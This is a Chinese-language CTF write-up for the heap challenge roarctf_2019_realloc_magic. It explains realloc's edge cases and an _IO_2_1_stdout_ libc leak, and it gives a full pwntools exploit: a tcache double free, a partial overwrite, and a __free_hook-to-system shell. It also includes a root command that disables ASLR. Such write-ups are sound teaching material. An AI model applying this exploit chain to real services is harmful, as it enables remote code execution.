本題主要介紹realloc函數,平時我們使用realloc最多便是在打malloc_hook-->onegadget的時候,使用realloc_hook調整onegadget的棧幀,從而getshell。

在realloc函數中,也能像malloc一樣創建堆,并且比malloc麻煩一些,但是倒是挺有趣的

realloc

realloc(realloc_ptr, size)有兩個參數,并且在特定參數有特定效果

  1. 1. size == 0 ,這個時候等同于free。也就是free(realloc_ptr),并且返回空指針。即沒有uaf
  2. 2. realloc_ptr == 0 && size > 0 , 這個時候等同于malloc,即malloc(size)
  3. 3. malloc_usable_size(realloc_ptr) >= size, 這個時候等同于edit
  4. 4. malloc_usable_size(realloc_ptr) < szie, 這個時候才是malloc一塊更大的內存,將原來的內容復制過去,再將原來的chunk給free掉

stdout泄露

這里我只給出結論,具體可以參考

  1. 1. 設置_flags & _IO_NO_WRITES = 0
  2. 2. 設置_flags & _IO_CURRENTLY_PUTTING = 1
  3. 3. 設置_flags & _IO_IS_APPENDING = 1_flags = 0xFBAD1800
  4. 4. 設置_IO_write_base指向想要泄露的位置,_IO_write_ptr指向泄露結束的地址(不需要一定設置指向結尾,程序中自帶地址足夠泄露libc)

具備以上基礎我們可以來實戰一題了

roarctf_2019_realloc_magic

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

64位,保護全開

前情提要:

本題部署在2.27-3ubuntu1_amd64/libc-2.27.so

建議關閉linux地址空間隨機化(ASLR),方便調試。

在root用戶下執行

echo 0 > /proc/sys/kernel/randomize_va_space

realloc

int re()
{
  unsigned int size; // [rsp+Ch] [rbp-4h]

  puts("Size?");
  size = get_int();
  realloc_ptr = realloc(realloc_ptr, size);
  puts("Content?");
  read(0, realloc_ptr, size);
  return puts("Done");
}

free

int fr()
{
  free(realloc_ptr);
  return puts("Done");
}

存在uaf,可以利用起來

這里有個清零指針的函數

int ba()
{
  if ( lock )
    exit(-1);
  lock = 1;
  realloc_ptr = 0LL;
  return puts("Done");
}

程序特別簡單,但是利用比較精妙,

在realloc的時候,因為每次都是使用realloc_ptr,并且沒有變化,導致每次申請的chunk都會寫在在realloc_ptr指向的地址,再次申請比上一次的size大就可以往后溢出寫

思路

通過realloc,和uaf,構造好tcache的布局

然后把_IO_2_1_stdout 鏈到bin里面,通過stdout泄露libc,得到free_hook

最后正常打free_hook:free_hook-->system-->/bin/sh

首先利用malloc(size)和free(size)在tcache上面先準備好

malloc(size)可以由realloc(realloc_ptr,size)得到(本文上面的第二個效果)

free(size)可以由realloc(realloc_ptr,size=0)得到(本文上面的第一個效果)

realloc(0x20,b'b') #這個是為了后面溢出修改main_arena為_IO_2_1_stdout_準備
realloc(0,"")
realloc(0x90,b'b')
realloc(0,"")
realloc(0x10,b'b')
realloc(0,"")

image-20230912125521459

realloc(0x90,b'b')
for i in range(7):
    dele()
realloc(0,"")

這一步非常重要,首先將0x90的地址申請回來,賦值給realloc_ptr,在通過uaf,tcache double free free掉7次,填滿tcache bin,然后再free一次,使0x90進入到unsortedbin,把main_arena鏈進來

為什么第八次free需要使用realloc去free呢?

因為首先是因為用來鏈上unsortedbin,其次用來清空掉realloc_ptr指針,不影響后面的chunk使用

image-20230912162307540

看一下此時的堆空間

image-20230912162721962

realloc(0x20,b"aaa")
pl=p64(0)*5+p64(0x81)+b"\x60\xc7"
#realloc(0x50,b'aaa')
#這里的注釋是用來方便看你申請的堆放哪里去了,可以自己看一下
realloc(0x50,pl)

這里看上面圖片的堆布局,如果你用了注釋看了一下gdb,就知道為什么這樣擺了,

后面申請的0x50是因為能剛好申請到更改unsortedbin的范圍,大一點也沒關系

首先改chunkB,也就是我們放入unsortedbin的chunk,改掉size值,可以結合realloc(0),多一次malloc

后面的"\x60\xc7"看圖就知道了

image-20230912170239859

_IO_2_1_stdout_main_arena相差了4位,并且低三位是固定的,只需要爆破一位

(因為我關閉了ASLR,所以直接\x60\xc7打本地不用爆破一次通(x))

直接看成果圖

image-20230912162925182

image-20230912162934528

可以發現成功鏈上了_IO_2_1_stdout_,接下來我們只需要把他申請回來就行

realloc(0,"")
realloc(0x90,b'aa')
realloc(0,"")
pl=p64(0xfbad1887)+p64(0)*3+b'\x58'
realloc(0x90,pl)

這里就涉及到_IO_2_1_stdout_泄露libc了,(下圖都還沒改的

0xfbad1887照著原來的就行低兩位,高地址就是取我們設定好的0xFBAD1800

image-20230912170911195

image-20230912183447804

這里前面的_IO_read_xx用p64(0)填充掉,然后利用_IO_write_base設置指向想要泄露位置,比如說改成\x58

也就是

image-20230912184335327

_IO_file_jumps泄露出來,就可以計算libc,別的位置都可以,只需要是能算libc的即可

然后算出free_hook,system的libc地址,

接下來首先先用給的清理realloc_ptr的函數,將realloc_ptr置0

sla(menu,'666')

realloc(0x30,b'a')
realloc(0,"")
realloc(0xa0,b'a')
realloc(0,"")
realloc(0x10,b'b')#2 
realloc(0,"")
realloc(0xa0,b'b')
for i in range(7):
    dele()
realloc(0,"")
realloc(0x30,b'a')
pl=p64(0)*7+p64(0x71)+p64(free-8)
realloc(0x70,pl)
realloc(0,"")
realloc(0xa0,b'a')
realloc(0,"")
realloc(0xa0,b'/bin/sh\x00'+p64(sys))
dele()

free-8是為了放好/bin/sh,然后順便下一個將free_hook改成system

完整exp:

from pwn import*

def debug(cmd = 0):
        if cmd == 0:
            gdb.attach(r)
        else:
            gdb.attach(r,cmd)
        pause()

menu=b">>"
def realloc(size,con):
    r.sendlineafter(menu, b'1')
    r.sendlineafter(b'ize',str(size))
    r.sendafter(b'ent',con)
def dele():
    r.sendlineafter(menu,b'2')
    
libc=ELF("libc-2.27.so")

context(os='linux', arch='amd64',log_level='debug')


def pwn():
    realloc(0x20,b'b')
    realloc(0,"")
    realloc(0x90,b'b')
    realloc(0,"")
    realloc(0x10,b'b')
    realloc(0,"")

    realloc(0x90,b'b')
    for i in range(7):
        dele()
    realloc(0,"")
    realloc(0x20,b"aaa")
    payload=p64(0)*5+p64(0x81)+b"\x60\xc7"
    #realloc(0x50,b'aaa')
    realloc(0x50,payload)
    
    realloc(0,"")
    realloc(0x90,b'aa')
    realloc(0,"")
    payload=p64(0xfbad1886)+p64(0)*3+b'\x58'
    realloc(0x90,payload)
    #debug()
    leak=u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-libc.sym['_IO_file_jumps']
    print(hex(leak))
    free=leak+libc.sym['__free_hook']
    system=leak+libc.sym['system']

    r.sendlineafter(menu,'666')

    realloc(0x30,b'a')
    realloc(0,"")
    realloc(0xa0,b'a')
    realloc(0,"")
    realloc(0x10,b'b')#2
    realloc(0,"")
    realloc(0xa0,b'b')
    for i in range(7):
        dele()
    realloc(0,"")
    realloc(0x30,b'a')

    payload=p64(0)*7+p64(0x71)+p64(free-8)
    realloc(0x70,payload)
    realloc(0,"")
    realloc(0xa0,b'a')
    realloc(0,"")
    realloc(0xa0,b'/bin/sh\x00'+p64(system))
    dele()
    r.interactive()

for i in range(1):
    try:
        r=process("./pwn")
        pwn()
        break
    except:
        r.close()